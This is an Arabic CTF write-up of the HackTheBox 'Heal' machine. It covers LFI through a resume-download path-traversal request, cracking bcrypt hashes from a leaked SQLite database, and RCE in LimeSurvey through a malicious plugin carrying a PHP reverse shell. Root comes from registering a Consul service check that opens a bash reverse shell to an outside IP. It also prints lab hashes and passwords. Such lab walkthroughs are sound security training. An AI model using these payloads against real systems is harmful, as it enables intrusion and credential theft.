> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md). # تقرير Heal على HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * LFI (تضمين ملف محلي) * RCE (تنفيذ التعليمات البرمجية عن بُعد) في LimeSurvey * كسر الهاشات باستخدام Hashcat * الانتقال إلى مستخدم آخر * تصعيد الصلاحيات عبر Consul {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts ```

فحص إصدارات المنافذ باستخدام Nmap: (22,80) استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,80 10.10.11.46 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

### المنفذ 80 - HTTP

في الموقع الرئيسي، نجد إمكانية **إنشاء حساب مستخدم**.

بمجرد الاتصال، يكتشف المرء ميزة تتيح **تصدير السيرة الذاتية بصيغة PDF**.

## ثغرة LFI (تضمين الملفات المحلية) #### استغلال LFI عبر `السيرة الذاتية` من خلال اعتراض طلب تنزيل السيرة الذاتية، نكتشف ثغرة LFI: ```json GET /download?filename=../../../../../etc/passwd HTTP/1.1 Host: heal.htb Authorization: Bearer ``` > من الضروري **تضمين مصادقة الرمز المميز**، وإلا سيفشل الاستعلام.

### استخراج ملف حساس #### الوصول إلى قاعدة بيانات SQLite من خلال سرد الملفات الحساسة، نكتشف إعادة توجيه إلى `/storage/development.sqlite3`

تم تنزيل قاعدة البيانات واستخراج حسابين مع **هاشاتهما bcrypt**: ``` admin@heal.htb $2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO ralph@heal.htb $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG ```

### كسر الهاشات #### باستخدام Hashcat استخدم **Hashcat** لمحاولة كسر الهاشات باستخدام `rockyou.txt`: ```bash hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt ``` > النتيجة: نجد كلمة مرور **ralph**/ `ralph@heal.htb : 147258369`

### اكتشاف نطاق فرعي: `take-survey`

#### أضف السجل إلى `/etc/hosts` يظهر نطاق فرعي جديد في التطبيق. نضيفه إلى ملفات hosts الخاصة بنا ## ثغرة في نظام إدارة المحتوى LimeSurvey {% embed url="" %}

#### الوصول إلى مساحة الإدارة اكتُشف أن واجهة الإدارة متاحة عبر الرابط التالي: `http://take-survey.heal.htb/index.php/admin` نتصل ببيانات اعتماد Ralph: * **اسم المستخدم** : `ralph` * **كلمة المرور** : `147258369`

وجدنا أن الإصدار المستخدم من LimeSurvey كان **6.6.4**، وهو عرضة لـ **تنفيذ التعليمات البرمجية عن بُعد (NCE)**.

### استغلال RCE عبر إضافة خبيثة {% embed url="" %} قمنا بتكييف السكربت التشغيلي مع حالتنا.

أولًا، أنشأنا ملفًا مضغوطًا يحتوي على `config.xml` ملف وسكربت PHP reverse shell: ```bash zip -r N4s1rl1.zip config.xml revshell.php ```

ثم قمنا بتثبيت هذه الإضافة الخبيثة عبر واجهة LimeSurvey الويب.

من خلال تمرير الفأرة فوق الإضافة المثبتة، كشفنا عن معرّف الإضافة.

بعد تعديل السكربت لتضمين هذا المعرّف، استمعنا على المنفذ 443: ```bash nc -nlvp 443 ``` أخيرًا، نفذنا الاستغلال عبر Python: ```bash python3 exploit.py http://take-survey.heal.htb ralph 147258369 80 ```

#### تثبيت طرفية Linux: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## الانتقال إلى المستخدم ron من خلال استكشاف الجهاز، وجدنا مستخدمًا آخر **ron**.

احتوى ملف إعدادات في `التطبيق` على بيانات تسجيل الدخول وكلمات المرور للوصول إلى قاعدة البيانات: * اسم المستخدم = `db_user` * كلمة المرور = `AdmiDi0_pA$$w0rd`

باستخدام هذه البيانات، تمكنا من الوصول إلى حساب **ron**، مما مكّننا من الحصول على **العلم user.txt**.

### الراية user.txt :)

## **تصعيد الامتيازات** ### اكتشاف المنفذ 8500 (Consul) بالنظر إلى المنافذ المفتوحة، وجدنا المنفذ **8500**، والذي يطابق الواجهة الويب لـ Consul.

بعد إجراء استعلام على `127.0.0.1:8500/ui/`، وجدنا إصدار Consul **1.19.2**. ```bash curl 127.0.0.1:8500/ui/ ```

#### التحقق من الوصول إلى REST API اختبرنا واجهة Consul REST API للتحقق مما إذا كانت متاحة دون مصادقة: ```bash curl http://127.0.0.1:8500/v1/agent/self ``` حصلنا على رد يؤكد أن الواجهة البرمجية كانت مفتوحة. ### الاستغلال عبر فحص خبيث سجّلنا خدمة مع فحص خبيث باستخدام أمر bash لفتح reverse shell إلى جهازنا: ```bash nc -lvnp 4444 ``` #### تسجيل خدمة بفحص خبيث يتيح Consul التسجيل الديناميكي للخدمات عبر طلب HTTP. نستخدم ذلك لإنشاء "check" ينفذ أمر bash. ```bash curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{ "Name": "pwned", "ID": "pwned", "Check": { "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"], "Interval": "10s" } }' ``` ما الذي يفعله هذا الحمولة: * `Check.Args[]`: يحتوي على أمر bash يفتح **شل عكسي**. * `الفاصل الزمني`: يضبط التنفيذ التلقائي كل 10 ثوانٍ. من خلال تشغيل هذه الحمولة، تمكنا من الحصول على shell بصلاحيات root.

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.